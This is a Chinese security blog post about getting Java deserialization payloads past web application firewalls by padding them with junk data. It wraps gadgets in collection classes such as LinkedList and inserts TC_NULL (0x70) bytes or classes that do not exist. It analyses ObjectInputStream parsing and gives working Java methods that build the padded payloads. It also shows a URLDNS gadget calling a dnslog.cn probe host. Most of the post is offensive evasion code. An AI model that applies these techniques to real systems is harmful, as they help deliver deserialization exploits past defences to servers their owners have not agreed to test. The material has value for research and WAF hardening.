脏数据1.0
Java反序列化数据绕WAF之加大量脏数据 https://mp.weixin.qq.com/s/wvKfe4xxNXWEgtQE4PdTaQ
其实就是再最外层封装一层,只要该类有对象属性,一般来说在反序列化的时候都会试着调用该属性的readObject去还原他。所以我们要找的class,第一需要实现java.io.Serializable接口,第二可以存储任意对象。这么看来集合类型就非常符合我们的需求。
如
ArrayList
LinkedList
HashMap
LinkedHashMap
TreeMap
脏数据2.0
这个思路是基于@Y4tacker师傅做的扩展,源头总体来说还是这篇文章https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA
1 2 3 | List<Object> a = new LinkedList<Object>(); a.add(new FindClassByDNS().makeClass("TargetClass")); a.add(new URLDNS().getObject("http://1234.z6lh5t.dnslog.cn", null)); |
如上方法还是正常封装,而java反序列化,在ObjectInputStream#readSerialData中,有一个逻辑,即使某块数据反序列化失败,仍然可以继续下一块数据的反序列化,比如LinkedList.add添加多个,每个对象不影响下个对象反序列化。如下图是个大的for循环。
而skipCustomData应该是用于处理一些自定义数据,120(0x78)是块数据结束符。下图是jdk1.6的
这是jdk1.8,对比多个版本主要是确认119和121是否都是无操作,目前看来只有119(0x77)即TC_BLOCKDATA是空操作,那么就可以在块中插入脏数据0x77。
调试发现this.readObject0(false)
会调用下一个序列化数据,而该bin.peekByte读取的是0x73,
尝试插入一字节测试
发现在readBlockHeader里报错了
原来这里也会读取到119,那么这个字节就不能用了。
其实根据这个思路,可以找一些其他位置或其他字符来测试。
简单看了下,发现0x70表示Null,而
并且原来这里0x78后面也是112(0x70 TC_NULL)
所以尝试插入,发现可以了,可以继续反序列化hashmap了(这里测试的是URLDNS),后续就是正常过程了。
仔细跟踪了下,readBlockHeader
里如果是112(0x70 TC_NULL),那么就和不插入一样,正常进行后续解析。
readBlockHeader
是在this.bin.skipBlockData()
里,一般只会执行一次。然后this.readObject0(false)
里的switch判断类型,如果是112(0x70 TC_NULL)也就跳过不处理,继续后续处理。
绕过119(0x77 TC_BLOCKDATA)的报错了,那么我突然想在这后面再插入119(0x77 TC_BLOCKDATA)是不是也行。- -傻逼了,go写多了,case 119没有break,会步入122,那么就会继续解析之前的blockheader。到这突然又想到,那么我在0x77后面再插入0x70是不是就又绕回来了。
这里出现了一个误解,peekByte是不会移动数据流的pos的,只有read、readFull等等才会,所以这里没有用的。
目前看来只能插入0x70了
其他字节能否有同样效果,可以找下skipCustomData() 里的解析方法,skipBlockData()->readBlockHeader()
和readObject0()
总结下有两个新的方案
填充大量null代表的\x70
123456789101112131415161718192021// 通过LinkedList插入count个\x70public byte[] junkDataWithNull70(Object obj,int count) throws Exception {// 插入不存在的classList<Object> list = new LinkedList<Object>();list.add(this.makeClass(RandomStringUtils.randomAlphabetic(10) + System.nanoTime()));list.add(obj);// 序列化byte[] serBytes = Serializer.serialize(list);// 插入脏数据String key = new String(new byte[]{0x78,0x70,0x73,0x72}, "ISO-8859-1");String serStr = new String(serBytes, "ISO-8859-1");String junkData = Strings.repeat("p",count);int pos = serStr.indexOf(key) + 2;serStr = serStr.substring(0, pos) + junkData + serStr.substring(pos);serBytes = serStr.getBytes("ISO-8859-1");return serBytes;}填充大量不存在的class,这个其实想填充啥填充啥
123456789101112131415// 通过LinkedList插入count个不存在的classpublic byte[] junkDataWithCls(Object obj,int count) throws Exception {// 插入不存在的classList<Object> list = new LinkedList<Object>();for (int i=0; i < count; i++) {list.add(this.makeClass(RandomStringUtils.randomAlphabetic(10) + System.nanoTime()));}list.add(obj);// 序列化byte[] serBytes = Serializer.serialize(list);return serBytes;}
或者把上面两种结合一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | // 通过LinkedList插入count个不存在的class,并插入100*count个\x70 public byte[] junkDataWithClsAndNull70(Object obj,int count) throws Exception { // 插入不存在的class List<Object> list = new LinkedList<Object>(); for (int i=0; i < count; i++) { list.add(this.makeClass(RandomStringUtils.randomAlphabetic(10) + System.nanoTime())); } list.add(obj); // 序列化 byte[] serBytes = Serializer.serialize(list); // 插入脏数据 String key = new String(new byte[]{0x78,0x70,0x73,0x72}, "ISO-8859-1"); String serStr = new String(serBytes, "ISO-8859-1"); String junkData = Strings.repeat("p",count*100); int pos = serStr.indexOf(key) + 2; serStr = serStr.substring(0, pos) + junkData + serStr.substring(pos); serBytes = serStr.getBytes("ISO-8859-1"); return serBytes; } |
测试效果如下,填充100个class和1W个\x70,